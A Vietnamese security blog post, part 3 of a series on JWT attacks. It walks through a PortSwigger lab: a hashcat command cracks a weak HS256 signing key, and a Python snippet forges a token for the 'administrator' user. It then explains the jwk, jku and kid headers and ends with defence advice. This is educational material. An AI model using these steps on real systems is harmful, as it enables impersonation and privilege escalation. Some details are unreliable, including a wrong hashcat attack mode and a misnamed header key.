0
0
Lập trình
Admin Team
Admin Teamtechmely

Tấn công JSON Web Tokens (JWT) - Phân tích phương pháp và biện pháp ngăn chặn (Phần 3)

Đăng vào 3 tuần trước

• 4 phút đọc

III. Phân tích các phương pháp tấn công JWT và biện pháp ngăn chặn (tiếp theo)

2. Tấn công vét cạn (Brute-forcing) secret key

Khi một ứng dụng sử dụng JWT để xác thực người dùng với secret key có tính phức tạp kém, kẻ tấn công có thể áp dụng phương pháp tấn công vét cạn để tìm ra key này. Nếu secret key bị lộ, hậu quả có thể rất nghiêm trọng: kẻ tấn công có khả năng thay đổi các giá trị tham số quan trọng, mạo danh người dùng và nâng cấp quyền hạn tài khoản.

Dưới đây là một ví dụ về một chương trình tạo JWT sử dụng secret key không đủ mạnh:

python Copy
import jwt

payload = {'name': 'viblo-security'}
# Secret key dễ đoán
secret_key = '123456'
algorithm = 'HS256'

jwt_token = jwt.encode(payload, secret_key, algorithm)
print(jwt_token)

Một công cụ thường được sử dụng để thực hiện tấn công vét cạn hoặc giải mã là hashcat. Chúng ta sẽ phân tích kỹ thuật này trong bài lab JWT authentication bypass via weak signing key.

Quy trình tấn công

Sau khi đăng nhập với tài khoản wiener:peter, kiểm tra Cookie cho thấy trang web sử dụng JWT token để xác thực người dùng. Chúng ta sử dụng công cụ hashcat để tấn công và tìm kiếm secret key của token này. Câu lệnh hashcat có cấu trúc như sau:

Copy
hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

Đầu tiên, lựa chọn kiểu hash bằng cách sử dụng option -m (--hash-type), với token JWT mức hash là 16500. Tiếp theo, lựa chọn phương thức tấn công bằng cách sử dụng option -a (--attack-mod). Để tìm kiếm cách tấn công Brute-force, chúng ta sử dụng wordlist cung cấp tại jwt.secrets.list. Câu lệnh cuối cùng có cấu trúc như sau:

bash Copy
hashcat -a 3 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list

Khi quá trình hoàn tất, bạn sẽ thu được secret key. Với key này, bạn có thể sử dụng các công cụ như jwt.io để thay đổi các trường tham số trong token và tạo mới một JWT token mạo danh admin.

Ví dụ chương trình đọc JWT

Để giúp bạn hiểu rõ hơn, dưới đây là một chương trình đơn giản để đọc thông tin header và payload của một JWT token:

python Copy
import base64

def parse_jwt(token):
    try:
        parts = token.split(".")
        header = parts[0]
        payload = parts[1]
        signature = parts[2] if len(parts) == 3 else None

        decoded_header = base64.urlsafe_b64decode(header + "=" * (-len(header) % 4)).decode("utf-8")
        decoded_payload = base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4)).decode("utf-8")

        return decoded_header, decoded_payload, signature
    except IndexError:
        return None, None, None

# Sử dụng chương trình
 token = input("Nhập token JWT: ")
 header, payload, signature = parse_jwt(token)

 if header and payload:
     print("Header:", header)
     print("Payload:", payload)
     if signature:
         print("Signature:", signature)
 else:
     print("Token không hợp lệ.")

Tạo JWT token

Với secret key tìm được, bạn có thể tạo một JWT token mới với giá trị sub là người dùng administrator:

python Copy
import jwt

secret_key = 'secret1'
header = {'kid': '2e557c32-7324-47e9-8471-c1538dbc1bd2', 'algorithm': 'HS256'}
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1685084550}

jwt_token = jwt.encode(payload, secret_key, headers=header)
print(jwt_token)

Kinh nghiệm rút ra

Để phòng tránh tấn công vét cạn (brute force secret key), hãy sử dụng secret key có độ phức tạp cao. Bạn cũng có thể tham khảo thêm thống kê về cách thức và thời gian kẻ tấn công sử dụng để tấn công vét cạn trong các tài liệu khác.

3. Các tham số JOSE Headers và self-signed JWTs

3.1. JOSE Headers

Headers, hay còn gọi là JOSE headers, chứa các thông tin xác định và định dạng của JWT. Theo các tiêu chuẩn JSON Web Signature (JWS), JWT headers bao gồm các tham số như alg (thuật toán mã hóa) và typ (kiểu). Đồng thời, JOSE headers còn chứa một số tham số quan trọng khác:

  • jwk (JSON Web Key): Chuối JSON mô tả một khóa nhúng.
  • jku (JWK Set URL): URL chứa tập hợp khóa công khai.
  • kid (Key ID): ID cho khóa công khai dùng để xác minh chữ ký.

3.2. Tham số jwk

Tham số này cho phép nhúng một đối tượng JSON đại diện cho khóa công khai trong JWT headers, giúp xác minh chữ ký.

3.3. Tham số jku

Tham số này cung cấp URL trỏ đến tập hợp khóa công khai dùng để xác minh chữ ký của JWT, giúp giảm kích thước JWT và giữ tính bảo mật.

3.4. Tham số kid

Tham số này giúp định danh cây khóa công khai hay bí mật trong xác minh chữ ký của JWT, hỗ trợ việc quản lý nhiều khóa.

3.5. Self-signed JWTs

Self-signed JWTs là JWT mà chữ ký được tạo ra và xác minh bằng cùng một khóa bí mật. Điều này giúp đơn giản hóa việc triển khai và quản lý, nhưng đồng thời hạn chế khả năng xác minh từ bên thứ ba. Do vậy, bạn nên cân nhắc khi sử dụng self-signed JWTs trong ứng dụng của mình.

Tiếp theo, chúng ta sẽ cùng tìm hiểu về một số kỹ thuật khai thác lỗ hổng trong self-signed JWTs thông qua các tham số của JOSE Headers.

Tài liệu tham khảo

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào